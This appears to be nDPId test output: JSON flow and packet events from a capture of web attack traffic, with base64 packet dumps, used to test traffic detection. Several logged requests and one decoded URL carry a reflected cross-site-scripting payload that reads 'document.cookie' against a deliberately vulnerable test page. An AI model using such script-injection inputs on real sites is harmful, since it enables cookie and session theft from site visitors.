+00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9146,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":569,"flow_packet_id":311,"flow_first_seen":1499347939286,"flow_last_seen":1499348006339,"flow_tot_l4_data_len":242640,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1902,"flow_avg_l4_data_len":780,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34278,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9152,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":646,"flow_packet_id":1,"flow_first_seen":1499348072088,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35668,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":646,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9152,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348072,"pkt_ts_usec":88629,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8DYZAAD4GuEqsEAABwKgKMotUAFAOsRP1AAAAAKACchCRCQAAAgQFtAQCCAoBPR5zAAAAAAEDAwc="} +00445{"flow_id":646,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9153,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348072,"pkt_ts_usec":88754,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQi1Q00\/Q8DrET9qAScSB1CgAAAgQFtAQCCAoD5u\/nAT0ecwEDAwc="} +00432{"flow_id":646,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9154,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348072,"pkt_ts_usec":89529,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DYdAAD4GuFGsEAABwKgKMotUAFAOsRP2NNP0PYAQAOUUEgAAAQEICgE9HnMD5u\/n"} +01214{"flow_id":643,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9155,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348072,"pkt_ts_usec":90135,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9f25AAD4GRCGsEAABwKgKMosqAFAaVGX8DOPnpYAYAOU37AAAAQEICgE9HnQD5uwLR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdLR0U4RVM5U0NRN0ZPUlk1VlNQVFlZNFI0VUhKTlJRVFBUQVk2TDlKUjFPVTQwUlBEQSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00917{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9155,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":643,"flow_packet_id":4,"flow_first_seen":1499348068136,"flow_last_seen":1499348072090,"flow_tot_l4_data_len":729,"flow_min_l4_data_len":32,"flow_max_l4_data_len":617,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35626,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/?name=%3Cscript%3Econsole.log%28%27KGE8ES9SCQ7FORY5VSPTYY4R4UHJNRQTPTAY6L9JR1OU40RPDA%27%29%3Bconsole.log%28document.cookie%29%3B%3C%2Fscript%3E","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00431{"flow_id":643,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9156,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348072,"pkt_ts_usec":90207,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0CEJAAEAGu5bAqAoyrBAAAQBQiyoM4+elGlRoRYAQAOzoyQAAAQEICgPm7+cBPR50"} +02961{"flow_id":643,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9157,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348072,"pkt_ts_usec":93231,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeACENAAEAGtEnAqAoyrBAAAQBQiyoM4+elGlRoRYAYAOx+XgAAAQEICgPm7+gBPR50SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjM0OjMxIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWP9P2zgU\/xmk\/Q8+n3TAJGJ6290N1mYqLQx2bHRNgSGdFLmJ2xqcOIudFv77e3aSNnwtWZFQcez35fP8np\/f85v15m\/d087gsneAJjoSqHe2f3LcQXibkIt3HUK6gy76cTT4eoIazg7ydMoDTcjBN4zwROtkj5DZbObM3jkyHZNBn9wYKQ3DVgy3leVxQh1i9836m\/Wm1XMTiVi1HpHR2N3dzVlz8rXmhNEQhmtrzYhpigzLNvuZ8WkLd2SsWay3B7cJwyjIv1pYsxtNjIiPKJjQVDHdOhscbn\/AiOQy15qaa8Hc80zELKVDLri+3UN9NhIs0CxEnVQqhTyuGfKClCeax2O0+cPzttDeHurSKEYlr2Dogg1RO0kED6jmMkab3fOL9haaNpzGDnrbZVMmZBIBtLdNkisuUAgeX6OUiRZW+lYwNWFMY6TBmsKIQCmMJikbtbDjEPgLpzNqZklEeezYZfJQGoetKOX8xyM6ZgSm7koa0akhc+zCXIay1lYhXNEpzWcxUmlwB8iVsv97oMC5Uthtkpyy8BwpXGfGQxneokBQZbwuI4Zzl4Z8injYwsZ3YBFLC69XloyQyvxak0fjB0iskYoIOZZOEo8xogICYYmjFnYDVlD3QLXZZB8cl1W0P1jzExqGLMwNAoJMlHaa1X0hg2uzNYIjGQeg+rqFZzwO5cyBJYujtZFb4mzgkhUY6B13Odg9gm1rEgq7LLi7\/hKBPIbTlwVmSjnJJHlG\/n1S7B5XZuqphQOXJUv0zWmw65khInD8YBJ19yvKSCbcFTZ0WjnfHMJjmGaakWdQPc6A3X3zHx3KNKjpgfsC2Q0L6gCw9NjtyCiicYiO4ytmPbIaikClozooLD2g8PqHqykeceJ8SuCotjhwZiFbEiUv4sfuIYfDfWxm1Mp7kyVC0rDO7hQcBYwz+7Wif2ii4eaq5aKCxZ5bFmQpQ512b9A5aq8GRf0UvA4OSw9n+vvJawWrkegP4XKr5ZQK1z00aHPfTG+thmrG6LXPa0EqWbB7ASPkMWWiFR13a6bX+3JvlPJrAckZsAv1DNQqp19X3AojLq3oVyyvol6EIy1xzIuvV0Cj6u6GKlF4WqZ3Iax4BdmzCNXl0utwQYZdUz9CfORT9bYD+Hk8kkvUVaiw2zvqwekYyXqK6FBmeomaOQ1222b4ettqCr2l6hdE2D2x43sAiortTu33dCFoSthFIQidjFktdJu1aiHYnDR+pbuAkrlRFMwV4dN5BesHMmQ+TRkt6ueRTCMU0wiqdeCHstemuBb+HSPoliYSsH8+GBS1aTMpLL6YUL2h0K3MUsv8qays4ySrFv+4EG1+5\/VtlUhlw4gD2ZSKDD69\/LPQRhI3byqIQZnjTVLmHjEhJCpaDRcqfyUFAw+PNzf+\/Xzw4cDb9Trf\/zk87V\/+de71BpeX7\/vvz46+fOt\/H\/QG7cu\/T3a\/9BunZ+93+r1ue2PrY1VCKIPMdFpOIOU1Z1sf5y0JwEmZdc3Cw83Jn+5XOPA2\/NOI5pcVTJq1Ij4gGhdxZZpPVTSsckZVYntWCFF2Y8KMWM9uK\/CsP\/esbz0L7RhNx9CJYriVaHyN3V+XNY\/i2viA24cqRbPUP4C2Dsz1O9Bfad8rWs+aGJ+Xtxwni50Zv+YJCzm1os1X1XJVWv40tpfLeB5PYWYw5vNkHMjIXA\/bI\/rTsU8Sj4J4AeOLNOc4qWCpblgJz6p7QF3VUWS3PNTLznWYQr+b\/5Yp7ImUV+SdQDCazk\/zY3lR3SrNIt\/cJY\/mh2Gmtemzi\/xwztkMwfFP5jk7kUmW+CWZjDt51l88OuwBxVmyiZ647acg0Z+ARBOOnwCSrSn+KB3REnK2gbawi5bC8iAZBux1gSkrcyk0s5tU8DHkbcFGkD+bLHLPFEtN3t1rEvhCNIx4XLgQvsviAJ2Y16WCBiQuKOBWP+56xUrIlbk+wtKLTzp0JKW+89iSuKu8diWPXavVBEzMxZm\/C9oXO\/d\/Z+qScZIUAAA="} +00432{"flow_id":643,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9158,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348072,"pkt_ts_usec":93898,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0f29AAD4GRmmsEAABwKgKMosqAFAaVGhFDOPu8YAQAQLhZQAAAQEICgE9HnUD5u\/o"} +00948{"flow_id":643,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9159,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348073,"pkt_ts_usec":114528,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzf3BAAD4GROmsEAABwKgKMosqAFAaVGhFDOPu8YAYAQKPbgAAAQEICgE9H3QD5u\/oR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02820{"flow_id":643,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9160,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348073,"pkt_ts_usec":117540,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceCEVAAEAGtKnAqAoyrBAAAQBQiyoM4+7xGlRpxIAYAPV9\/AAAAQEICgPm8OgBPR90SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjM0OjMyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00433{"flow_id":643,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9161,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348073,"pkt_ts_usec":118238,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0f3FAAD4GRmesEAABwKgKMosqAFAaVGnEDOP124AQAR3W4QAAAQEICgE9H3UD5vDo"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9162,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":647,"flow_packet_id":1,"flow_first_seen":1499348073365,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35682,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":647,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9162,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348073,"pkt_ts_usec":365184,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Pg1AAD4Gh8OsEAABwKgKMotiAFCjeCG\/AAAAAKACchDtKgAAAgQFtAQCCAoBPR+yAAAAAAEDAwc="} +00444{"flow_id":647,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9163,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348073,"pkt_ts_usec":365350,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQi2IT1M33o3ghwKAScSAXMQAAAgQFtAQCCAoD5vEmAT0fsgEDAwc="} +00432{"flow_id":647,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9164,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348073,"pkt_ts_usec":366070,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Pg5AAD4Gh8qsEAABwKgKMotiAFCjeCHAE9TN+IAQAOW2NwAAAQEICgE9H7MD5vEm"} +01216{"flow_id":643,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9165,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348073,"pkt_ts_usec":366476,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9f3JAAD4GRB2sEAABwKgKMosqAFAaVGnEDOP124AYAR2vdAAAAQEICgE9H7MD5vDoR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdSQUw5UkhDTEpFQUNVTDRNRkE5M1JVSlg4RkNXRVZDOVQyRUZVNlI0REJUTjlXUzdGWCUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02947{"flow_id":643,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9166,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348073,"pkt_ts_usec":369885,"pkt_caplen":1932,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1932,"pkt_l4_len":1898,"pkt":"AMGxFOsxABm5CmnxCABFAAd+CEdAAEAGtEfAqAoyrBAAAQBQiyoM4\/XbGlRsDYAYAP5+XAAAAQEICgPm8ScBPR+zSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjM0OjMzIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmAl4u3u6m7LtlmVlh6syi5HW8pJJ0Vu4rYGJw6x08K\/v7GTtOG1ZIuEimPPyzOe8XjG77Ybv3V+tgf\/nh2hmQ4FOhse9k7aCO8TMvrUJqQz6KDL48FpD9WcD6ivE+5rQo5+YIRnWscHhCwWC2fxyZHJlAzOya2RUjNs+XBfWR4n0AF2322\/225YPbehiFTzCRm1er2esWbkW40ZowEMt7YaIdMUGZZ9dpPyeRO3ZaRZpPcHdzHDyM++mlizW02MiK\/In9FEMd0cDrr7XzAimcythuZaMPciFRFL6JgLru8O0DmbCOZrFqB2IpVCfa4Z6vsJjzWPpmj3st\/fQwcHqEPDCBW8gqERG6NWHAvuU81lhHY7F6PWHprXnNoH9L7D5kzIOARo7xskU5yjEDy6RgkTTaz0nWBqxpjGSIM1uRG+UhjNEjZpYsch8BfMF9TMkpDyyLHL5LE0DltRyPmPh3TKCEzdlzShc0Pm2IWlDGWtLUO4onOazWKkEv8ekCtl\/5+BAudKYbdBMsrccyR3nRmPZXCHfEGV8boMGc5cGvA54kETG9+BRSzJvV5aMkJK81sNHk4fIbFGKiLkVDpxNMWICgiENY5a2Q1YQd0j1WaTPXBcWtL+aM2LaRCwIDMICFJR2GlWD4X0r83WCI5k5IPq6yZe8CiQCweWLI7mTmaJs4MLVmCg99zlYPcYtq1BKOyy4O72awTyCE5f6psp5cSz+AX5D0mxe1KaqaYWDlwar9G3pMFu3wwRgeMHk6hzWFJGUuFusKHz0vnmEB7jJNWMvIDqaQbsHpr\/qCsTv6IHHgpkt8yvAsDSY7ctw5BGATqJrpj1yGYofJVMqqCw9ICif97dTPGEE+dbDEe1yYEzDdiaKHkVP3a7HA73iZlRG+9NGgtJgyq7k3PkMIb2a0P\/0FjDzVXJRTmLPbfMTxOG2q2zQfu4tRkUdSN4FRyWHs70P723ClYj0RvD5VbJKSWuB2jQ7qGZ3tsM1YLRa49XglSwYHcEI9RnykQrOulUTK8P5d4q5VUCkjFgF+oZqFV+nm64FUZcUtKvWFZFvQpHUuBYFl9vgEZV3Q1VoOhrmdyHsOEVZM8iVJdrr8MVGXZN\/QjxkU1V2w7g59FErlFXosLu2fEZnI6JrKaIjmWq16hZ0mC3ZYZvt62m0FurfkWE3Z4dPwCQV2z3ar\/nC0FTwq4KQehkzGqu26yVC8HGrPYr3QWUzLW8YC4Jny8rWM+XAfNowmheP09kEqKIhlCtAz+UvTbFNfHvGEG3NJOA\/e+jQV6bNuLc4tGM6h2F7mSaWOZvRWUdxWm5+Me5aPO7rG\/LRCodhxzI5lSk8NnPPnNtJHazpoIYlBneOGHuMRNCorzVcKHyV1Iw8PB0d+e81aufH7d7349a7WHv82m3Vf90Pvx++aXbHh1dtOuDj0fd4Z\/nnzuHgx\/1Uf+v7uXO3teyhED6qem0HF\/Ka872vi5bEoCTMOualYcbs4\/uKRx4G\/5JSLPLCibNWh4fEI2ruDLNp8obVrmgKrY9K4QouzVhRqxn9xV41lt61rOehXaMJlPoRDHcSjS6xu6vy1pGcWV8wO1BlaJZ4h1BWwfmem3or7TXz1vPihhflrceJ4ucBb\/mMQs4taLNV9lyVVj+PLbXy3gZT26mP+XLZOzL0FwP+xN649gniSdBvILxVZoznFSwRNeshBfVPaIu68izWxbqRec6TqDfzX6LFPZMysvzji8YTZan+am8qO6UZqFn7pIn88M41dr02Xl+uOBsgeD4x8ucHcs4jb2CTEbtLOuvHh0OgGIY76Jnbvs5SPRmINGE4zeAZGuKPwpHNIVc7KA97KK1sPqQDH32tsCUlbkWmtlNKvgU8rZgE8ifDRa6Q8USk3cPGgS+EA1CHuUuhO+iOEA987qU04DEFQXc6iedfr4ScGWuj6Dw4rMOnUip7z22xO4mr13xU9dqOQETc3Fm74L2xc79H6s80P2SFAAA"} 